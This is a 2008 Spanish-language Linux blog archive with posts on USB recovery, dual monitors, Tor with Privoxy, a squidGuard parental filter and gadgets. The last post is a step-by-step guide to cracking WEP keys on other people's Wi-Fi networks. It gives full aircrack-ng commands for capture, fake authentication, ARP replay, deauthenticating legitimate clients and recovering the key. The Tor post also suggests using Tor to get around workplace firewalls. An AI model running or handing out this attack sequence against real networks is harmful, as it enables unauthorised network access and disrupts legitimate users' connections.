Recuperar memoria USB inservible

Julio 3rd, 2008

Si tienes una de esas memorias USB que están tan dañadas que tu Linux ya ni las reconoce, intenta hacer lo siguiente antes de tirarla y quizás te dure algún tiempo más.

En mi caso el problema era que la memoria tenía la estructura lógica tan corrupta que no había forma de que el sistema se aclarara con lo que había dentro. El dmesg suele mostrar algo similar a lo siguiente en este caso:

sdb: rw=0, want=39712621, limit=2009088
attempt to access beyond end of device
sdb: rw=0, want=39712622, limit=2009088
attempt to access beyond end of device
sdb: rw=0, want=39712623, limit=2009088
attempt to access beyond end of device
sdb: rw=0, want=39712664, limit=2009088
attempt to access beyond end of device
sdb: rw=0, want=39712665, limit=2009088
attempt to access beyond end of device

En estas circunstancias el fdisk es incapaz de reorganizar la memoria de manera adecuada:

# fdisk /dev/sdb
No se puede buscar en /dev/sdb

Así que lo primero es poner a cero nuestro dispositivo:

# dd if=/dev/zero of=/dev/sdb

Después de esto ya podemos usar el fdisk y el mkfs:

# fdisk /dev/sdb

[.,,]

# mkfs.ext3 /dev/sdb1

[...]

Y ya tenemos nuestra memoria lista para ser usada.

Categorías: Tips&Tricks | 1 comentario

GOOSH

Junio 6th, 2008

Hoy os traigo una curiosidad, la verdad es que me hizo mucha gracia cuando me la enseñaron… y es que si sois de esos que prefieren usar los ‘ls’ y ‘cd’ antes que navegar gráficamente entre los archivos, si podéis concatenar comandos con la misma facilidad con la que respiráis, si cuando alguien os enseña un menú gráfico para que lo ayudéis a configurar su Linux os quedáis mirándole con cara extrañada… entonces querido amgio amante de la consola, goosh es para ti. Lo que siempre habías soñado!!! Ahora también podrás hacer búsquedas a través de Google cómo si estuvieras en tu shell de toda la vida!! Increíble, ¿no?

Goosh

Aprovecho para dar las gracias a David por mostrarme goosh

Categorías: curiosidades | 1 comentario

Dual Monitor en Linux

Mayo 20th, 2008

En esta receta voy a explicar un método muy sencillo para tener nuestro Linux conectado a dos monitores. Una advertencia, puede que no funcione en todo tipo de tarjetas de video. Yo la he probado con una Intel 945GM/GMS (driver i810), pero he leído que también funciona perfectamente con las ATI Radeon. Bien, manos a la obra.

1. Conectamos los dos monitores (obviamente)

2. Editamos el xorg.conf

Editamos el fichero de configuración de las X (/etc/X11/xorg.conf) y añadimos la directiva Virtual dentro de los sitios adecuados de la sección Screen, así es como quedaría:

Section “Screen”
Identifier “Default Screen”
Device “Intel Corporation Mobile 945GM/GMS/940GML Express Integrated Graphics Controller”
Monitor “Monitor genérico”
DefaultDepth 24

SubSection “Display”
Depth 24
Modes “1440×900″ “1024×768″ “800×600″ “640×480″
Virtual 2880 900
EndSubSection
EndSection

Los valores de la sección virtual corresponden al tamaño total de la pantalla cuando activemos el modo multimonitor. En este caso mis monitores están conectados uno al lado del otro, por eso he duplicado el tamaño horizontal. Si los monitores estuvieran uno encima del otro, duplicariamos el tamaño vertical. Por supuesto, no es necesario que tengan la misma resolución los dos monitores, pero yo los configuraré con la misma.

3. Reiniciamos las X

4. Consultamos los monitores conectados

$ xrandr -q

Screen 0: minimum 320 x 200, current 1440 x 900, maximum 2880 x 900
VGA connected (normal left inverted right)
640×480        60.0
LVDS connected 1440×900+0+0 (normal left inverted right) 304mm x 190mm
1440×900       60.0*+
1280×800       60.0
1280×768       60.0
1024×768       60.0
800×600        60.3
640×480        59.9
TV disconnected (normal left inverted right)

5. Añadimos y activamos nueva resolución para el monitor

Si no nos gusta la configuración que nos ha detectado por defecto para el nuevo monitor (en mi caso 640×480), siempre podemos añadir nuevas resoluciones. Yo voy a configurarlo con una resolución de 1440×900. Veamos cómo se hace:

Obtenemos los parámetros necesarios para la configuración:

$ cvt 1440 900

# 1440×900 59.89 Hz (CVT 1.30MA) hsync: 55.93 kHz; pclk: 106.50 MHz
Modeline “1440×900_60.00″ 106.50 1440 1528 1672 1904 900 903 909 934 -hsync +vsyn
c

Creamos el nuevo modo:

$ xrandr –newmode “1440×900_60.00″ 106.50 1440 1528 1672 1904 900 903 909 934 -hsync +vsync

Asociamos el nuevo modo al monitor externo

$ xrandr –addmode VGA 1440×900_60.00

Activamos el nuevo modo, fijaos que le decimos al xrandr que el monitor está a la izquierda de la pantalla principal, otras opciones disponibles son (–right-of, –above, –below y –same-as)

$ xrandr –output VGA –mode 1440×900_60.00 –left-of LVDS

Y listo… ya tenemos nuestro Linux sobre dos monitores.

Categorías: Tips&Tricks | No hay comentarios

Navegación Anónima: La red TOR

Mayo 13th, 2008

A pesar de lo que podamos pensar y de lo seguro que nos sintamos tras la pantalla de nuestro ordenador, lo cierto es que navegar en la red de redes es una actividad que puede ser muchas cosas, excepto privada. Es fácil para cualquier sitio web tracearnos, recopilar datos sobre nosotros e incluso recurrir a la vía judicial si hemos hecho alguna acción especialmente ofensiva… no es raro leer alguna noticia sobre cómo ha acabado en juicio una amenaza vertida en forma de comentario en algún blog.

Dejando aparte los casos extremos, lo cierto es que estamos en nuestro derecho de querer navegar anónimamete. A veces más que un derecho es una necesidad… y cómo suele ocurrir en estos casos, siempre hay alguna empresa dispuesta a ayudarnos a cambio de un módico precio, aunque por supuesto, también podemos encontrar alternativas gratuitas que ofrecen un servicio similar. Alguna de las páginas dedicadas a navegación anónima son http://anonymouse.org/, http://ibypass.net/ y http://www.anonymizer.com/ por citar algunas.

El problema con este tipo de páginas es que son exclusivamente para eso, para navegación anónima, pero que pasa si queremos mantener nuestra IP oculta mientras mandamos un correo con nuestro cliente POP, jugamos al Quake, usamos nuestro cliente SSH, chateamos en el IRC o usamos nuestro programa de mensajería instantánea… en definitiva, que pasa cuando queremos usar cualquier cliente TCP. En ese caso tenemos que recurrir a otro tipo de soluciones como es el caso de la que nos ocupa: TOR

Tor es una red anónima diseña para proteger la privacidad de sus usuarios. El funcionamiento es como sigue, cuando un cliente se quiere conectar a la red TOR solicita a un servidor de directorio los nodos TOR disponibles, luego establece un circuito virtual aleatorio e inicia la conexión con el nodo final. La conexión entre los nodos TOR va cifrada y sólo va en plano desde el último nodo hasta el destino final.

Ejemplo red TOR

En la página oficial podéis encontrar una explicación mucho más detallada de funcionamiento. A mi lo que me interesa es enseñaros un modo muy rápido de instalar TOR y que desde  hoy mismo empecéis a ser seres anónimos, o por lo menos, que tengáis las herramientas para serlo.

Manos a la obra:

1. Instalamos TOR y Privoxy

Privoxy es un proxy privado que será nuestro punto de entrada a la red TOR. Una vez que tengamos todo instalado y configurado, haremos que nuestras aplicaciones usen privoxy y éste se encargará de pasar el tráfico a la red TOR.

# apt-get install tor privoxy

Pudiera ser que estos paquetes no se encuentren en nuestra distribución (esto es especialmente cierto si usamos Debian Etch). En ese caso habría que bajarse los fuentes y compilarlos, como muy bien explican en la web oficial.

2. Configuramos Privoxy

Editamos el fichero de configuración /etc/privoxy/config, borramos todo su contenido y en su lugar escribimos lo siguiente:

#———– BEGIN ———–

user-manual /usr/share/doc/privoxy/user-manual
confdir /etc/privoxy
logdir /var/log/privoxy
actionsfile standard.action # Internal purpose, recommended
actionsfile global.action # Global default setting for all sites
actionsfile default.action # Main actions file
actionsfile user.action # User customizations
filterfile default.filter
listen-address 127.0.0.1:8118
toggle 1
enforce-blocks 0
buffer-limit 4096
forward-socks4a / 127.0.0.1:9050 .
forwarded-connect-retries 0
accept-intercepted-requests 0
allow-cgi-request-crunching 0
split-large-forms 0

#———— END ————

Reiniciamos privoxy de la manera usual, normalmente:

$ /etc/init.d/privoxy restart

3. Configuramos las aplicaciones para que usen TOR

Bien, esta es la parte complicada, ya tenemos instalado TOR en nuestro ordenador y Privoxy configurado para que se conecte a él. Ahora bien, tenemos que configurar todas y cada una de nuestras aplicaciones para que se conecten con nuestro proxy local. Para los que tengan las cosas claras sólo mencionar que Privproxy escucha en: 127.0.0.1:8118

Para los que no, aquí tenéis como configurar el navegador para que use un proxy. Otras aplicaciones, como los clientes de mensajería instantánea, tienen en sus opciones de configuración la posibilidad de definir un proxy, en este caso la configuración variará de un cliente a otro y lo mejor es buscar algún tutorial sobre cómo configurar ese cliente. Hay un tercer grupo de aplicaciones que no tienen posibilidad de especificar proxy pero aún así nos interesa que vayan a través de TOR (un ejemplo de éstas podría ser el cliente de SSH estándar). En este caso es necesario el uso de aplicaciones puentes como proxychains, capaces de ‘proxyficar’ cualquier aplicación.

Una advertencia

TOR ofrece anonimato, es decir, oculta nuestra IP al destino final, pero no ofrece seguridad frente a escuchas por parte del repetidor final. Es decir, en el nodo final de la red TOR, justo antes de comunicarnos con el destino, los datos son descifrados y por lo tantos susceptibles a escuchas malintencionadas. Si tenemos datos confidenciales no podemos dejar la responsabilidad de que esos datos no sean capturados en manos de TOR, sino en manos del destino final que deberá usar algún protocolo seguro como HTTPS. Hace unos meses un hacker sueco se hizo con una buena cantidad de datos confidenciales precisamente por esta falsa creencia. Lo vuelvo a repetir y lo pongo en negrita para los que lean en diagonal: TOR ofrece anonimato, no protección total fretne a escuchas. Sí que ofrece protección parcial hasta el punto de que nuestros datos no serán visibles para los sniffers que haya en nuestra propia red local, lo cual viene muy bien a todos esos pobres empleados que se encuentran intesamente monitorizados y no pueden ver porno en las horas de trabajo.

Y ya que estamos, también podemos usar TOR para evitar las restricciones de acceso si estamos detrás de un firewall (o de un proxy con filtros restrictivos, sí, sí, cómo ese que os enseñé a montar en el artículo anterior). En fin, que hay muchas posibilidades y no os las he contado todas, echad un vistazo a la web oficial porque vale la pena.

Categorías: seguridad, tutoriales | 9 comentarios

Bloquear contenido

Mayo 10th, 2008

Hace algunos días un padre preocupado me preguntó como podía controlar lo que sus hijos ven en Internet, o incluso bloquear ciertos sitios web de contenido dudoso. Esta preocupación no es nueva y de hecho ha sido explotada por numerosas compañías para obtener buenos beneficios. Pero lo cierto es que nos basta tener un pequeño servidor con Linux para montar un sistema de este tipo de forma barata y sencilla. En este post explicaré paso a paso lo que tenemos que hacer para lograrlo.

En los ejemplos usaré el gestor de paquetes apt, sustitúyelo por el de tu distribución según el caso.

Lo primero que tenemos que hacer es instalar un proxy en nuestro servidor. Un proxy es un programa que hace de intermediario entre dos aplicaciones, una vez configurado todo adecuadamente, el navegador web se conectará al proxy y es éste el que se conectará a la página web final. Así pues, todas las conexiones pasarán a través del proxy lo que llegado el momento nos permitirá filtrarlas según nos convenga.

1. Instalamos el proxy, yo usaré un proxy libre llamado squid y un plugin diseñado especialmente para filtrar contenido, squidGuard:

# apt-get install squid squidguard

Seguidamente editamos el fichero de configuración /etc/squid/squid.conf, buscamos la sección que hace referencia a la claúsula visible_hostname y añadimos al fichero la opción:

{…}

visible_hostname localhost

{…}

2. Modificamos la configuración para que el proxy lo pueda usar cualquier máquina de la red local

La configuración por defecto sólo permite que el squid sea usado desde el host en el que está instalado (localhost). Así pues, si quisieramos que todos los usuarios de la red interna pudieran usar el proxy, tendríamos que editar el squid.conf y añadir lo siguiente bajo la sección http_access

{…}

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
acl localnet src 192.168.1.0/255.255.255.0
http_access allow localhost
http_access allow localnet
http_access deny all
{…}

Con la primera regla (acl localnet…) establecemos una acl (lista de control de acceso) llamada localnet que hace referencia a nuestra red local. Aquí deberás cambiar la IP mostrada por la que corresponda a tu red.

3. Conectamos el squid con el squidGuard, para que este útlimo pueda determinar si debe filtrar la dirección o no:

Al final del squid.conf añadimos siguiente línea

{…}

redirect_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

4. Nos bajamos la lista de sitios prohibidos y la colocamos en su ubicación final

# cd /var/lib/squidguard

# wget http://squidguard.mesd.k12.or.us/blacklists.tgz

# tar xvzf blacklists.tgz

# rm -rf db

# mv blacklists db

# squidGuard -C all

# chown -R proxy:proxy db

5. Configuramos el squidGuard para que no permita acceder a los sitios prohibidos

Editamos el fichero de configuración /etc/squid/squidGuard.conf y en la sección # DESTINATION CLASSES añadimos:

{…}

#
# DESTINATION CLASSES:
#

dest ads {
domainlist ads/domains
urllist ads/urls
}
dest aggressive {
domainlist aggressive/domains
urllist aggressive/urls
}
dest audio-video {
domainlist audio-video/domains
urllist audio-video/urls
}
dest drugs {
domainlist drugs/domains
urllist drugs/urls
}
dest gambling {
domainlist gambling/domains
urllist gambling/urls
}
dest hacking {
domainlist hacking/domains
urllist hacking/urls
}
dest mail {
domainlist mail/domains
urllist mail/urls
}
dest porn {
domainlist porn/domains
urllist porn/urls
}
dest proxy {
domainlist proxy/domains
urllist proxy/urls
}
dest redirector {
domainlist redirector/domains
urllist redirector/urls
}
dest spyware {
domainlist spyware/domains
urllist spyware/urls
}
dest suspect {
domainlist suspect/domains
urllist suspect/urls
}
dest violence {
domainlist violence/domains
urllist violence/urls
}
dest warez {
domainlist warez/domains
urllist warez/urls
}

{…}

Ahora, buscamos la línea que empieza por acl { y la borramos junto con todo lo que le sigue hasta el final del fichero. En su lugar ponemos:

{…}

acl {
default {
pass !ads !aggressive !drugs !gambling !hacking !mail !porn !proxy !violence !warez all
redirect http://www.sendaoscura.com/prohibido.html
}
}

Y con esto queda configurado todo. Si quisieramos añadir una lista de sitios prohibidos propios, nos bastaría con añadir un nuevo directorio en /var/lib/squidguard/db y en ahí dentro poner dos ficheros: domains (que contendrá una lista de IPs de dominios inválidos) y urls (que contendrá una lista de urls inválidas). Tras eso ejecutaríamos “squidGuard -C all“, que acutaliza las bases de datos del SquidGuard y luego editaríamos el squidGuard.conf como hemos hecho anteriormente para añadir esta nueva lista a las ya controladas.

6. Configuración de los equipos clientes para que usen el proxy

Ya sólo nos queda obligar a los distintos navegadores de la red local a que usen el proxy que hemos configurado. Llegados a este punto hay diferentes alternativas, pero cómo no quiero extenderme más de lo necesario os comentaré la más simple de todas y nombraré alguna más. Si tenéis interés podéis dejar un comentario y os amplio información.

En esta aproximación, simplemente vamos equipo por equipo configurando los navegadores para que usen nuestro proxy, en esta web podéis encontrar información detallada sobre como hacer esto: configuración del navegador para que use un proxy

Luego nos aseguramos que la configuración del proxy no se pueda alterar, según el navegador elegido tendremos que hacer esto de una manera u otra. A modo de ejemplo comentaré como hacerlo con el Firefox, que además es muy sencillo. Nos basta instalar la extensión Public Fox, la cual nos permite poner un password para acceder a las opciones de configuración (entre otras cosas). Así pues, configuramos el plugin de la forma adecuada y ya nadie que no conozca el password podrá acceder a las opciones para desactivar el proxy. Y con esto nuestro sistema queda listo.

Una alternativa más elegante es el uso de un proxy transparente junto con un filtro de red a nivel TCP (IPTables, por ejemplo). Este último forzaría a todas las peticiones dirigidas a un puerto HTTP a pasar a través del proxy transparente.

Categorías: seguridad, tutoriales | 7 comentarios

Kameraflage

Mayo 2nd, 2008

No he podido resistir la tentación de comentar esta tecnología (aunque luego alguno que otro luego me deje algún comentario criticándome)

Bueno, a lo que iba, Kameraflage es una tecnología que permite imprimir textos e imágenes que no son visibles al ojo humano (se usan colores que se encuentran fuera del espectro visible), pero que son capturados fácilmente por las cámaras digitales. Así pues, podemos llevar una camiseta que aparentemente esté vacía, pero que contenga todo tipo de mensajes subversivos que sólo aparecerán cuando nos fotografien. En la web oficial se explican otras aplicaciones, como la protección de películas de estreno u obras de arte mediante la sobreimpresión de texto.

Foto realizada con Kameraflage
Esperemos que saquen una línea de camisetas con frases variadas, seguro que se convierten en un buen regalo-putada.

Categorías: curiosidades | 4 comentarios

BluePad - Controla tu PC desde el móvil

Abril 24th, 2008

¿Quién no ha querido alguna vez tener un mando a distancia para manejar su PC? Cierto que hoy en día los equipos orientados a media center ya traen uno incorporado, pero si, al igual que yo, no eres el afortunado poseedor de uno de esos, tranquilo. Ahora gracias a BluePad ya puedes convertir tu móvil (con bluetooth) en un buen control remoto.

La aplicación consta de dos programas: uno para instalarlo en el PC y otro, escrito en Java, para instalarlo en el móvil. Así pues, los requisitos mínimos son que el móvil soporte Java y tenga Bluetooth, aunque como dice el autor puedes encontrar algún problema en algún modelo concreto. En la web oficial tienes una lista de los modelos en los que han sido testeado.

A parte de la utilidad obvia de ver pelis mientras estás tranquilamente acostado en la cama, también puede servirte como mando a distancia para las presentaciones. En fin, una idea original que no podemos dejar de tener en cuenta.

Y ahora un video para que veas como funciona:

No está mal, ¿verdad?

Categorías: interesante | 5 comentarios

Modem GSM - Centralita de SMS

Abril 23rd, 2008

Estos días he estado programando un modem GSM para un concurso que ha sacado el Cabildo de Gran Canaria con motivo del día del libro, éste consiste básicamente en enviar relatos cortos vía SMS, estos relatos son publicados en una web y lo más votados serán premiados. Antes que nada quiero aplaudir desde aquí tan novedosa iniciativa, podéis informaros del concurso en la web www.relatoscortosxsms.com/.

Y ahora a lo que iba, el terminal que he estado usando es el TC35i de Siemems y la verdad es que me ha sorprendido el mundo de posibilidades que se abre ante nosotros gracias a este pequeño dispositivo. Basta conectarlo al ordenador e insertarle una tarjeta SIM (yo trabajé con una prepago) y ya podemos dar rienda suelta a nuestra imaginación: recibir un sms cada vez que tengamos un correo nuevo o se active un nuevo evento en nuestra agenda, enviar comandos a nuestro equipo vía SMS (activar/desactivar servicios, ejecutar reglas iptables, incluso hacer redirecciones en nuestro router)… y si tenemos la casa domotizada ya ni te cuento. En definitiva, control total vía SMS… y eso por no hablar de los concursos que nos podemos montar en nuestra propia casa.

El modem se controla a través de un puerto serie vía comandos AT. Dicho así puede parecer complicado, pero lo cierto es que si tienes conocimientos de programación te resultará bastante sencillo.

Ya sabes, por un módico precio tienes un mundo de posibilidades vía SMS.

Categorías: interesante | 11 comentarios

Un reloj para dormir mejor

Abril 16th, 2008

A veces descubrimos inventos que nos dejan con la boca abierta, tanto por su originalidad como porque no pensabamos que fuera posible hacer algo así. Eso exactamente fue lo que me pasó cuando descubrí este curioso gadget: SleepTracker

Foto Reloj

Este ingenio monitoriza tu cuerpo durante las horas de sueño y analiza los distintos estados por los que va pasando, de tal forma que al día siguiente podrás ver en el ordenador una gráfica que te indica lo bien que has dormido y la duración de cada uno de tus ciclos de sueño. Pero lo más increíble de este reloj es su función de despertador: tu le indicas la hora a la que quieres levantarte (como a cualquier otro despertador) y él monitoriza tus constantes unos 40 min. antes de la hora señalada. Si durante ese tiempo detecta que tu ciclo de sueño está cercano al despertar, te despierta en ese momento, lo que te hace sentirte bastante más fresco y relajado que si te despertaras durante una fase más profunda del ciclo de sueño, además te permitirá ganar algunos minutos extras, lo que nunca viene mal.

Además este reloj tiene otras interesantes funciones entre las que cabe destacar un despertardor por vibración, ideal si no quieres despertar a nadie más. Sin duda un gadget a tener en cuenta.

Categorías: gadgets | 4 comentarios

La guía definitiva para romper claves WEP (con clientes conectados)

Abril 8th, 2008

Sí, tengo un poco abandonado el blog y no voy a justificarme… la vida es así. Pero bueno, por fin he encontrado un rato para escribir la guía que tantos me habéis pedido, una guía paso a paso sobre como romper claves WEP. He decidido dividir la guía en dos partes diferenciadas por su contenido. En ésta exploraremos como hacernos con las contraseñas de esas redes que tienen clientes wifi conectados y ya en la segunda, atacaremos las redes que aunque ofrecen cobertura wifi nadie se conecta (legítimamente) a ellas. Bien, comencemos sin más preámbulos:

Réquisitos Previos

* Tener Linux (por supuesto), o al menos cualquier distribución Live como por ejemplo Knoppix-STD.

* Descargar la última versión del aircrack-ng (es importante que descarges una versión superior a la 0.94).

Instalar el aircrack-ng

Si como te dije en requisitos previos has descargado el aircrack-ng desde la web, ahora toca instalarlo:

$ tar xzf aircrack-ng-1.0-beta2.tar.gz

$ cd aircrack-ng-1.0-beta2/

$ make

$ sudo make install

Si no me has hecho caso e instalaste el aircrack-ng desde tu gestor de paquetes (apt-get, yum, o el que sea) comprueba que la versión sea superior a la 0.94 y si no es así, bájalo desde la web e instálalo.

Parchear los drivers de la tarjeta de red

Los drivers originales de la tarjeta de red normalmente no permiten inyectar tráfico en una wifi, es decir, generar paquetes a medida e inyectarlos en la red para lograr nuestros objetivos. Por lo tanto, se hace necesario parchear los drivers de nuestra tarjeta de red. Para saber que tarjeta de red estás usando prueba con:

$ lspci | grep Network
0c:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)

En la págian oficial del aircrack-ng encontrarás un montón de parches para diferentes drivers. Elige el que corresponda a tu tarjeta y luego parchea tu kernel. No te asustes, no es complicado (si tu driver es exactamente el que aparece arriba, sáltate los siguientes pasos):

1. Busca las fuentes de tu kernel, normalmente deberían estar en /usr/src/linux (si no las tienes, descárgalas desde www.kernel.org).

2. Baja el parche a /usr/src

3. Aplica el parche con el comando patch:

# cd /usr/src/linux

# patch -p1 < /usr/src/nombre.parche

4. Compila e instala el nuevo kernel (déjame un comentario si tienes problemas para hacer esto).

PERO si tu tarjeta de red es igual que la mía Intel Corporation PRO/Wireless 3945ABG estás de suerte, porque te voy a explicar el procedimiento paso a paso ;)

Este driver no está entre los que podemos encontrar en la web del aircrack-ng, sin embargo existe una página alternativa en donde podemos descargárnoslo: http://homepages.tu-darmstadt.de/~p_larbig/wlan/

1. Nos descargamos la última versión

$ wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/ipwraw-ng-2.3.4-04022008.tar.bz2

2. Ahora necesitamos los fuentes del núcleo. Si hemos compilado nuestro propio kernel, ya tendremos los fuentes. Si estamos usando una versión precompilada del kernel, necesitamos las cabeceras. Si usas Debian o Ubuntu bájate las cabeceras de una forma similar a la siguiente:

# uname -a

Linux Darky 2.6.18-5-686 #1 SMP Tue Nov 20 13:39:58 WET 2007 i686 GNU/Linux

# apt-get install linux-headers-2.6.18-5-686

Si las cabeceras que estás intentando instalar ya no se encuentran en el repositorio de tu distribución, tendrás que actualizar tu kernel a una versión más reciente vía apt-get y luego instalar las cabeceras.

3. Instalamos el driver

# tar xjf ipwraw-ng-2.3.4-04022008.tar.bz2

# cd ipwraw-ng

# make

# make install

# make install_ucode

4. Descargamos el driver original y usamos el parcheado (ATENCIÓN: el nuevo driver no sirve para navegar normalmente, así que sólo lo cargaremos cuando vayamos a monitorizar/inyectar paquetes).

# rmmod ipw3945

# modprobe ipwraw

Fijar un objetivo

Supongo que si estás leyendo este tutorial es porque ya le has echado el ojo a alguna red, pero si no es así lo primero que tenemos que tener claro es que red vamos a atacar y obtener unos cuantos datos sobre ella. Hay muchas formas de hacer esto, pero ya que estamos usando aircrack-ng emplearemos la utilidad de monitoreo que trae este kit. Así pues, primero echamos un vistazo a las redes disponibles:

# airodump-ng eth2

—-

CH 10 ][ Elapsed: 12 s ][ 2008-04-08 11:23

BSSID PWR Beacons #D, #/s CH MB ENC CIPHER AUTH ESSID

00:14:51:74:5E:FF 0 20 69 0 6 54 WEP WEP air_wifi

BSSID STATION PWR Rate Lost Packets Probes

00:14:51:74:5E:FF 00:18:DE:10:99:3B 0 0- 0 0 5
00:14:51:74:5E:FF 00:12:F0:06:62:5A 0 0- 0 209 70

—-

Hemos detectado una red con dos clientes conectados. Ahora necesitamos obtener la máxima información de esa red (capturar todos los paquetes de datos entres los clientes y el punto de acceso), así que volvemos a relanzar el airodump-ng pero incluyendo opciones para que sólo capture paquetes de esa red. Además, debemos guardar todo lo capturado en un fichero, que nos será de gran utilidad más tarde.

# airodump-ng –bssid 00:14:51:74:5E:FF –channel 6 –write captura eth2

El BSSID y el CHANNEL lo obtenemos de la anterior ejecución del airodump.

Acelerar el proceso

Para poder romper una clave WEP necesitamos capturar un elevado número de paquetes útiles, para acelerar el proceso de captura de datos usaremos la combinaicón de dos técnicas: ARP Replay y DeAuth.

Con la primera técnica pondremos a nuestro equipo a escuchar y cada vez que capture un paquete ARP lo reenviará hasta la saciedad, con la segunda forzaremos a los clientes legítimos a desconectarse, lo que implica que tendrán que iniciar el proceso de conexión nuevamente y por lo tanto generarán una oleada de paquetes ARP que nuestro anterior ataque se encargará de utilizar provechosamente.

Ataque ARP Replay

Para llevar a cabo este ataque, lo primero es registrar nuestro equipo en la wifi (requiere que hayamos parcheado los drivers de nuestra tarjeta de red).

Así pues, necesitamos la MAC de nuestra tarjeta wifi:

# ifconfig eth2
eth2 Link encap:UNSPEC HWaddr 00-19-D2-6D-1E-01-F4-FF-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:2346 Metric:1
RX packets:15373 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1874966 (1.7 MiB) TX bytes:0 (0.0 b)
Interrupt:17 Base address:0xc000 Memory:efdff000-efdfffff

La MAC son los 6 primeros pares de dígitos que encontramos tras HWaddr, en mi caso sería: 00:19:D2:6D:1E:01

Con este dato y con los que tenemos del paso anterior ya podemos iniciar el ataque:

Primero, nos registramos:

# aireplay-ng -1 0 -e air_wifi -a 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

Luego dejamos funcionando el ataque ARP Replay:

# aireplay-ng -3 -b 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2

Y ahora lanzamos el ataque DeAuth para desconectar a los clientes legítimos:

# aireplay-ng -0 1 -a 00:14:51:74:5E:FF eth2

Si todo va bien, veremos como la ventana donde hemos puesto a funcionar el ataque “ARP Replay” comienza a llenarse con actividad de paquetes enviados. Y también veremos como la ventana del airodump-ng comienza a registrar una cantidad notable de tráfico y lo que es más importante, muchos paquetes con vectores IV útiles.

Después de capturar suficientes paquetes sólo nos queda poner a funcionar el aircrack-ng

# aircrack-ng captura.cap

Y a esperar a que obtenga la ansiada clave. Bueno, espero vuestros comentarios, sugerencias y correcciones. Ya escribiré la segunda parte un año de estos :P

Categorías: seguridad, tutoriales | 20 comentarios